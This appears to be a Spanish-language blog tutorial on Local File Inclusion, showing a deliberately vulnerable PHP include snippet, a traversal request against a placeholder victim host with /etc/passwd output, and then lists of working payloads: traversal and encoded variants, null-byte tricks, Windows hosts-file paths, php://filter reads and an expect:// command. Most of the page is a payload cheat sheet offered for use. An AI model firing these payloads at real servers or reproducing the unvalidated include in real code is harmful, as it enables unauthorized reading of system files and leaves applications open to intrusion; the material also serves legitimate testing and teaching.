LFI

Mi Foto

LFI (Local File Inclusion) ocurre cuando una aplicación web permite que el usuario especifique una ruta de archivo sin validarla adecuadamente, y ese archivo es cargado directamente desde el sistema de archivos local del servidor.

Ejemplo de codigo Vulnerable

Ejemplo típico (PHP):

    <?php
        include($_GET['page']);
    ?>
                                

URL:

    http://victima.com/index.php?page=about.php
    
                                

Si no hay validación, un atacante puede hacer:

    http://victima.com/index.php?page=../../../../etc/passwd
                                

Resultados:

    root:x:0:0:root:/root:/usr/bin/zsh
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
                                

lfi

Ahora que entendemos brevemente que es la vulnerabilidad y como puede ser explotada en un servidor web, las siguientes listas de payloads pueden ser de gran utilidad para identificar posible LFI.

En los siguientes ejemplos se incluira el archivo /etc/passwd (LFI Linux)


    /etc/passwd
    ../../../etc/passwd
    ..%252f..%252f..%252f..%252fetc%252fpasswd
    ....////....////....////etc/passwd
    ....\/....\/....\/etc/passwd
    ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
                                

URLEncode

    ..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
    %2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%65%74%63%2f%70%61%73%73%77%64
    %2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%65%74%63%2f%70%61%73%73%77%64
                                

En versiones de PHP anteriores a 5.3.4 podemos terminar con un byte nulo ( %00).

    ....//....//etc/passwd%00
    ../../../etc/passwd%00
                                

LFI Windows

El archivo de hosts en Windows se encuentra en:

    C:\Windows\System32\drivers\etc\hosts
                                

Dado que algunos servidores PHP o aplicaciones web mal configuradas permiten LFI, puedes intentar acceder al archivo con rutas relativas o absolutas

(Usando .. para subir directorios y llegar al archivo deseado.)

    ../../../../../../Windows/System32/drivers/etc/hosts
    ....//....//....//....//Windows/System32/drivers/etc/hosts
    ..\..\..\..\..\..\Windows\System32\drivers\etc\hosts
                                

(Codificación URL para \) y (Doble URL Encoding para ../)

    /..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts
    ..%252f..%252f..%252f..%252fWindows%252fSystem32%252fdrivers%252fetc%252fhosts
                                

Payloads con php://filter (Si PHP está habilitado)

Estos payloads extraen el contenido del archivo en Base64:

    php://filter/convert.base64-encode/resource=C:\Windows\System32\drivers\etc\hosts
    php://filter/read=convert.base64-encode/resource=C:\Windows\System32\drivers\etc\hosts
                                

Payloads con expect:// o file://

(Si expect:// está habilitado en PHP, lo que es raro, pero posible.)

    expect://type C:\Windows\System32\drivers\etc\hosts
    file:///C:/Windows/System32/drivers/etc/hosts
                                

... espera las actualizaciones😎

Redes Sociales